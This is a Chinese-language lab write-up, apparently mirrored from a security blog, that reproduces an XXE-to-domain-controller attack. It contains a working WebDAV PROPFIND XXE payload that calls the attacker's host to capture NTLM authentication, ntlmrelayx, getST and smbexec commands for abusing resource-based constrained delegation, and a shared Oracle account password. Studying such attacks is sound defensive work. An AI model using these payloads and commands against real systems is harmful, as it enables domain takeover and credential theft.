11

XXE到域控复现(基于资源的约束委派)

 4 years ago
source link: https://y4er.com/post/xxe-to-dc-replay/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

奇安信Ateam文章地址: XXE to 域控

概述

本文主要复现该文章中XXE中继的部分,主要利用的技术为通过XXE实现NTLM中继从而添加基于资源约束委派,最后拿到webdav的TGS票据。

一是对上文《Kerberos协议之基于资源的约束委派》的一个实战场景的讲解,二是加深对于资源约束委派的理解。

环境搭建

  1. 域控DC 172.16.33.12
  2. 目标机器DM2012 172.16.33.33
  3. 攻击机Kali 172.16.33.99
  4. 一个普通域账号 [email protected]
  5. 其他机器 DM 172.16.33.8

webdav环境由jdk8u202和tomcat5.0.28

下载地址:

  1. Tomcat5.0.28 https://archive.apache.org/dist/tomcat/tomcat-5/v5.0.28/bin/jakarta-tomcat-5.0.28.zip
  2. JDK8u202 https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
  3. Oracle账号 [email protected] 密码:Oracle123 来自 老鼠拧刀满街找猫csdn

tomcat5自带了webdav,将搭建在dm2012目标机器上。配置好JAVA_HOME的环境变量之后,通过 PsExec64.exe -i -s cmd 以system权限启动tomcat。

20201212040465.png

复现

通过OPTIONS请求探测支持的请求方式

20201212044281.png

通过PROPFIND方法触发XXE

20201212043287.png
PROPFIND /webdav/ HTTP/1.1
Host: 172.16.33.33:8080
Content-Length: 247

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE propertyupdate [
<!ENTITY loot SYSTEM "http://172.16.33.99/"> ]>
<D:propertyupdate xmlns:D="DAV:"><D:set><D:prop>
<a xmlns="http://172.16.33.99/">&loot;</a>
</D:prop></D:set></D:propertyupdate>

因为java sun.net.www.protocol.http.HttpURLConnection 类在响应401时,会根据响应判断使用哪种认证模式,这个时候我们可以返回要求使用ntlm认证,这样拿到目标机器的ntlm hash(参见Ghidra 从 XXE 到 RCE),继而通过中继其ntlm链接域控ldap添加基于资源的约束委派(我改我自己)。

而基于资源的约束委派还需要一个服务账户,我们可以通过Powermad来添加。而通过powermad添加就需要走Kerberos认证,即需要一个普通域账户Jack。

以域账户jack运行powermad添加机器账号,密码 test123
20201212040851.png

在域控上已经添加了该账户

20201212047749.png

此时我们需要通过ntlm中继实现 evilpc$dm2012$ 的传入信任关系,即设置 evilpc$dm2012$ 的资源约束委派。这个资源约束委派是在 dm2012$ 上设置的,是我们通过ntlm中继 dm2012$ 链接到域控的ldap设置的。

impacket启动ntlm中继

impacket-ntlmrelayx -t ldap://dc.test.local -debug -ip 172.16.33.99 --delegate-access --escalate-user evilpc\$

20201212042366.png

触发xxe之后中继成功修改委派。接着模拟administrator申请高权限票据,然后ptt就完事了。

python3 getST.py -dc-ip dc.test.local test/evilpc\$:test123 -spn cifs/dm2012.test.local -impersonate administrator
export KRB5CCNAME=administrator.ccache
python3 smbexec.py -no-pass -k dm2012.test.local

20201212044805.png

复现过程中碰到了 [-] Exception in HTTP request handler: invalid server address 的错误,解决办法是dns解析的问题,修改 /etc/resolv.conf 加上一行 nameserver 172.16.33.12 ,让kali也能解析test.local域名就可以了。

总结

基于资源的约束委派利用条件:

evilpc$

相比于传统约束委派,信任关系的传入传出方向不同,设置的对象不同。

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。


Recommend

  • 91

    WebView域控不严格读取内部私有文件实验 test0max 2018-01-18 09:00:40 7658...

  • 26
    • www.freebuf.com 5 years ago
    • Cache

    域控管理员帐户架构扩展

    AD帐户分类入门 AD中的内置管理模型存在非常高的风险,它允许将Domain Admins和其他敏感帐户暴露给当今大多数企业网络中——比如允许登录到工作站和其他客户端成员计算机,默认情况下这导致未启动者在高度特权的帐...

  • 14
    • y4er.com 4 years ago
    • Cache

    Kerberos协议之约束委派

    上文说到非约束委派,本文来说约束委派。 概述 因为非约束委派的不安全性,约束委派应运而生。在2003之后微软引入了非约束委派,对Kerberos引入S4U,包含了两个子协议S4U2self、S4U2proxy。S4U2self可以代表自身请求针对...

  • 15

    在之前的约束委派文章中提到,如果配置受约束的委派,必须拥有SeEnableDelegation特权,该特权是敏感的,通常仅授予域管理员。为了使用户/资源更加独立,Windows Server 2012中引入了基于资源的约束委派。基于资源的约束委派允许资源配置受...

  • 13

    Kerberos协议之非约束委派 – Y4er的博客Kerberos协议之非约束委派📅 2020年12月12日  ·  ☕ 4 分钟 将我的权限给服务账户一句话概况,委派就是将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动。

  • 12

    Kerberos Bronze Bit Attack 绕过约束委派限制2020-12-22 KerberosShare on: Kerberos Bronze Bit Attack又称Kerberos青铜比特攻击,由国外netspi安全研究员Jake Karnes发现的漏...

  • 10
    • antipassion.github.io 2 years ago
    • Cache

    约束委派攻击

    约束委派攻击 发表于 2022-01-09...

  • 6
    • antipassion.github.io 2 years ago
    • Cache

    非约束委派攻击

    简介委派 在域中如果出现A使用Kerberos身份验证访问域中的服务B,而B再利用A的身份去请求域中的服务C,这个过程就可以理解为委派

  • 3
    • shu1l.github.io 2 years ago
    • Cache

    基于委派的测试

    ​ 域委派是大型网络中经常部署的应用模式,给多跳认证带来很大的便利,同时也带来很大的安全隐患,利用 委派可获取域管理员权限,甚至制作深度隐藏的后门域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动...

  • 7
    • antipassion.github.io 2 years ago
    • Cache

    基于资源的约束委派

    基于资源的约束委派利用基于资源的约束委派,(Resource-based constrained delegation),与前文提到的约束委派不同,它在信任的传递关系上是不同的,这也是它工作方向相反的一个因素。 在约束委派中,账户A到账户B的约...

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK